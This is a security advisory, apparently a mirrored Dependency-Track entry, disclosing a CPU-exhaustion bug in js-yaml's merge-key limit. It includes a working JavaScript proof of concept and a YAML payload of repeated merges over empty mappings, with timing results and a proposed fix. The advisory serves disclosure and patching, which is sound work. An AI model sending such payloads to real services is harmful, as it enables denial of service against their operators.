Vulnerability details
Vulnerability
Data from Dependency-Track
Affected versions
Score
Description
## Summary
`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
## Example
```yaml
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
- <<: *arr # repeated K times
```
For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.
## PoC
```js
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = 20000
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)
```
Observed results:
| N | YAML size | Time |
|---:|---:|---:|
| 800 | ~13 KB | ~20 ms |
| 3200 | ~50 KB | ~180 ms |
| 20000 | ~500 KB | ~13 s |
## Impact
An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.
## Fix
Count each merge-source mapping as one budget unit, in addition to counting its keys.
## Difference with v5
In v3 & v4, merge is enabled by default. So, the severity score is higher.
Same vulnerability as